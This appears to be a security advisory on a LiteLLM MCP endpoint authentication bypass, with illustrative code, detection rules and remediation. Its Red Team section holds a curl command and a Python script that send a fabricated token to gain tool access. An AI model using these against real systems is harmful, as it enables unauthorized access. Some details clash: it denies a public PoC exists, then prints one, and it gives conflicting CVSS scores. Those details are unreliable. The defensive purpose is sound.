CVE-2026-59822

Executive Summary

CVE-2026-59822 is a critical authentication bypass vulnerability in LiteLLM, an open-source AI Gateway proxy server. Prior to version 1.84.0, the MCP (Model Context Protocol) Streamable HTTP endpoint allowed an unauthenticated attacker to bypass LiteLLM key validation by sending a fabricated Authorization header. This triggered an OAuth2 passthrough fallback path that replaced the failed LiteLLM key validation with an empty UserAPIKeyAuth() object, granting unauthorized access to MCP tooling. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed as critical due to the complete bypass of authentication controls. No public exploit code or PoC is available at this time.

Supply Chain & Package Security

LiteLLM is distributed as a Python package via PyPI (litellm). Organizations using this package should immediately update to version 1.84.0 or later. The vulnerability affects the proxy server component, which is often deployed as a critical gateway for LLM API calls. Compromise could lead to unauthorized access to backend LLM services and potential data exfiltration.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full access to MCP tooling and potentially backend LLM data.
• Integrity (I): High (H) – Attacker can execute arbitrary MCP tool calls.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Critical (9.1)

Deep Dive & Mechanics

The vulnerability resides in the MCP Streamable HTTP endpoint handler. When a request is made to this endpoint, LiteLLM performs key validation by checking the Authorization header. If the header contains a valid LiteLLM API key, the request proceeds normally. However, if the key validation fails (e.g., due to an invalid or missing key), the code falls back to an OAuth2 passthrough path. This fallback path was intended to handle OAuth2 tokens but was incorrectly implemented: it replaced the failed UserAPIKeyAuth object with an empty UserAPIKeyAuth() instance, effectively granting unauthenticated access.

The attack flow:

1. Attacker sends a request to the MCP Streamable HTTP endpoint with a fabricated Authorization header (e.g., Bearer fake_token).
2. LiteLLM attempts to validate the key, which fails.
3. The fallback OAuth2 passthrough path is triggered.
4. An empty UserAPIKeyAuth() object is created, bypassing all authentication checks.
5. The request is processed, allowing the attacker to invoke MCP tools without a valid key.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 1.84.0):

# In the MCP endpoint handler
async def handle_mcp_request(request):
    auth_header = request.headers.get("Authorization")
    if auth_header:
        user_api_key = await validate_litellm_key(auth_header)
        if not user_api_key:
            # Fallback to OAuth2 passthrough
            user_api_key = UserAPIKeyAuth()  # Empty object - VULNERABLE
    else:
        user_api_key = UserAPIKeyAuth()  # Also vulnerable for missing header
    # Process request with user_api_key
    return await process_mcp_tool(request, user_api_key)

Patched Code (version 1.84.0):

# In the MCP endpoint handler
async def handle_mcp_request(request):
    auth_header = request.headers.get("Authorization")
    if auth_header:
        user_api_key = await validate_litellm_key(auth_header)
        if not user_api_key:
            # Properly reject unauthenticated requests
            return HTTPResponse(status=401, body="Unauthorized")
    else:
        return HTTPResponse(status=401, body="Unauthorized")
    # Process request with validated user_api_key
    return await process_mcp_tool(request, user_api_key)

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running LiteLLM instance (version < 1.84.0) with MCP Streamable HTTP endpoint enabled.
• Network access to the target.

Exploitation Steps:

1. Identify the MCP endpoint (typically /mcp/streamable or similar).
2. Send a crafted request with a fabricated Authorization header:

curl -X POST https://target.litellm.com/mcp/streamable \
  -H "Authorization: Bearer fake_token" \
  -H "Content-Type: application/json" \
  -d '{"tool": "list_tools", "params": {}}'

3. Observe that the request is processed successfully, indicating authentication bypass.
4. Enumerate available MCP tools and execute arbitrary commands.

Automated Exploit Script (Python):

import requests

target = "https://target.litellm.com"
endpoint = "/mcp/streamable"

headers = {
    "Authorization": "Bearer fake_token",
    "Content-Type": "application/json"
}

payload = {
    "tool": "list_tools",
    "params": {}
}

response = requests.post(target + endpoint, headers=headers, json=payload)
print(response.text)

Blue Team

Detection Steps:

1. Monitor for requests to MCP endpoints with unusual or invalid Authorization headers.
2. Look for patterns where authentication fails but the request is still processed.
3. Check logs for UserAPIKeyAuth() objects being created without valid keys.

Honeypot Configuration:

• Deploy a decoy LiteLLM instance with logging enabled.
• Monitor for any requests that bypass authentication.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Requests to /mcp/streamable or similar MCP endpoints with fabricated Authorization headers.
  • Unusual MCP tool invocations from unauthenticated sources.

• Log IOCs:

  • Log entries showing UserAPIKeyAuth() creation without a valid key.
  • Authentication failures followed by successful MCP tool execution.

• File IOCs:

  • Modified LiteLLM configuration files (if attacker gains persistence).
  • Unauthorized API key additions in the database.

Detection Engineering

YARA Rule

rule CVE_2026_59822_LiteLLM_AuthBypass {
    meta:
        description = "Detects LiteLLM authentication bypass attempts via fabricated Authorization headers"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-59822"
    strings:
        $auth_bypass = "UserAPIKeyAuth()" nocase
        $mcp_endpoint = "/mcp/streamable" nocase
        $fabricated_token = "Bearer fake" nocase
    condition:
        any of ($auth_bypass, $mcp_endpoint) and $fabricated_token
}

Sigma Rule

title: LiteLLM Authentication Bypass via Fabricated Authorization Header
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-59822 by sending fabricated Authorization headers to LiteLLM MCP endpoints
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: litellm
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/mcp/streamable'
        cs-headers: 'Authorization: Bearer *'
    condition: selection
falsepositives:
    - Legitimate OAuth2 token usage (if configured)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-59822 LiteLLM Authentication Bypass Attempt"; flow:to_server; content:"POST"; http_method; content:"/mcp/streamable"; http_uri; content:"Authorization"; http_header_names; content:"Bearer"; http_header; pcre:"/Bearer\s+[A-Za-z0-9\-._~+/]+/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LiteLLM to version 1.84.0 or later.
2. If immediate upgrade is not possible, disable the MCP Streamable HTTP endpoint.
3. Implement network-level access controls to restrict access to the MCP endpoint.

Long-term Mitigations:

1. Enable strict authentication validation for all endpoints.
2. Implement rate limiting and anomaly detection for MCP tool invocations.
3. Regularly audit logs for unauthorized access attempts.
4. Apply the principle of least privilege to MCP tool permissions.

Workaround:

• Configure a reverse proxy (e.g., Nginx) to block requests to /mcp/streamable unless they come from trusted IPs.

Valters IT